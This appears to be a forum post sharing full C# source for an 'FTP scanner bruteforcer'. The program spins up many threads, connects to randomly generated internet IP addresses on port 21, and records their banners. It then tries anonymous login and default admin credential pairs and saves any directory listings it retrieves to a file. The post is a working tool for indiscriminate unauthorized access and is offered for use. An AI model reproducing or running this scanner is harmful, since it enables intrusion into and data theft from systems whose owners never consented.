[C#] FTP scanner bruteforcer - t0fx - 06-03-2013
Program.cs
Code : using System;
using System.Threading;
namespace ConsoleApplication1
{
internal class Program
{
public static int ScanningThreads;
private static void Main()
{
Console.Title = "FTP Scanner by t0fx.";
Console.WriteLine(" ..................");
Console.WriteLine(" .::::::::::::::::::::::.");
Console.WriteLine(" .::: FTP Scanner by t0fx :::.");
Console.WriteLine(".::::::::::::::::::::::::::::::::.");
Console.WriteLine("");
Console.WriteLine("Enter number of threads and press ENTER (50 is a good choice)");
ScanningThreads = Convert.ToInt32(Console.ReadLine());
try
{
for (int i = 0; i <= ScanningThreads; i++)
{
new Thread(Ftp.GrabBannerFtp).Start();
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
Console.ReadLine();
}
}
}
internal class Rng
{
public static Random _rng = new Random();
public static int Next(int min, int max)
{
return _rng.Next(min, max);
}
public static string GenerateIp()
{
return Next(11, 239) + "." + Next(1, 255) + "." + Next(1, 255) + "." + Next(1, 255);
}
}
}
ftp.cs
Code : using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace ConsoleApplication1
{
internal class Ftp
{
public static void GrabBannerFtp()
{
while (true)
{
try
{
string ipadress = Rng.GenerateIp();
Console.WriteLine("FTP Scanning " + ipadress);
var data = new byte[1024];
string stringData;
int recv;
var ipep = new IPEndPoint(
IPAddress.Parse(ipadress), 21);
var server = new Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp);
try
{
server.Connect(ipep);
}
catch
{
}
var ns = new NetworkStream(server);
if (ns.CanRead)
{
recv = ns.Read(data, 0, data.Length);
stringData = Encoding.ASCII.GetString(data, 0, recv);
if (stringData.Replace("220", string.Empty) != "")
{
Console.WriteLine("ftp://" + ipadress + " : " +
stringData.Replace("220", string.Empty));
File.AppendAllText("FTP-banners.txt",
"ftp://" + ipadress + " : " +
stringData.Replace("220", string.Empty) + "\r\n");
}
new Thread(delegate() { CheckHost(ipadress); }).Start();
}
else
{
ns.Close();
server.Close();
}
}
catch
{
}
}
}
public static void CheckHost(string ipadress)
{
try
{
var ftpClientRequest = WebRequest.Create("ftp://" + ipadress) as FtpWebRequest;
if (ftpClientRequest != null)
{
ftpClientRequest.Method = WebRequestMethods.Ftp.ListDirectoryDetails;
ftpClientRequest.Proxy = null;
ftpClientRequest.Credentials = new NetworkCredential("anonymous", "britney@spears.com");
ftpClientRequest.Timeout = 5000;
var response = ftpClientRequest.GetResponse() as FtpWebResponse;
if (response != null)
{
var sr = new StreamReader(response.GetResponseStream(), Encoding.ASCII);
string datastring = sr.ReadToEnd();
response.Close();
Console.WriteLine("Anonymous >>>> ftp://" + ipadress);
Console.WriteLine(datastring);
File.AppendAllText("Access.txt",
"Anonymous >>>> ftp://" + ipadress + "\r\n" +
datastring + "\r\n");
}
else
{
ftpClientRequest.Credentials = new NetworkCredential("admin", "admin");
var response1 = ftpClientRequest.GetResponse() as FtpWebResponse;
if (response1 != null)
{
var sr = new StreamReader(response1.GetResponseStream(), Encoding.ASCII);
string datastring = sr.ReadToEnd();
response1.Close();
Console.WriteLine("admin:admin >>>> ftp://" + ipadress);
Console.WriteLine(datastring);
File.AppendAllText("Access.txt",
"admin:admin >>>> ftp://" + ipadress + "\r\n" +
datastring + "\r\n");
}
else
{
ftpClientRequest.Credentials = new NetworkCredential("admin", "root");
var response2 = ftpClientRequest.GetResponse() as FtpWebResponse;
if (response2 != null)
{
var sr = new StreamReader(response2.GetResponseStream(), Encoding.ASCII);
string datastring = sr.ReadToEnd();
response2.Close();
Console.WriteLine("admin:root >>>> ftp://" + ipadress);
Console.WriteLine(datastring);
File.AppendAllText("Access.txt",
"admin:root >>>> ftp://" + ipadress + "\r\n" +
datastring + "\r\n");
}
else
{
ftpClientRequest.Credentials = new NetworkCredential("admin", "123456");
var response3 = ftpClientRequest.GetResponse() as FtpWebResponse;
if (response3 != null)
{
var sr = new StreamReader(response3.GetResponseStream(), Encoding.ASCII);
string datastring = sr.ReadToEnd();
response3.Close();
Console.WriteLine("admin:123456 >>>> ftp://" + ipadress);
Console.WriteLine(datastring);
File.AppendAllText("Access.txt",
"admin:123456 >>>> ftp://" + ipadress + "\r\n" +
datastring + "\r\n");
}
}
}
}
}
}
catch
{
}
}
}
}
|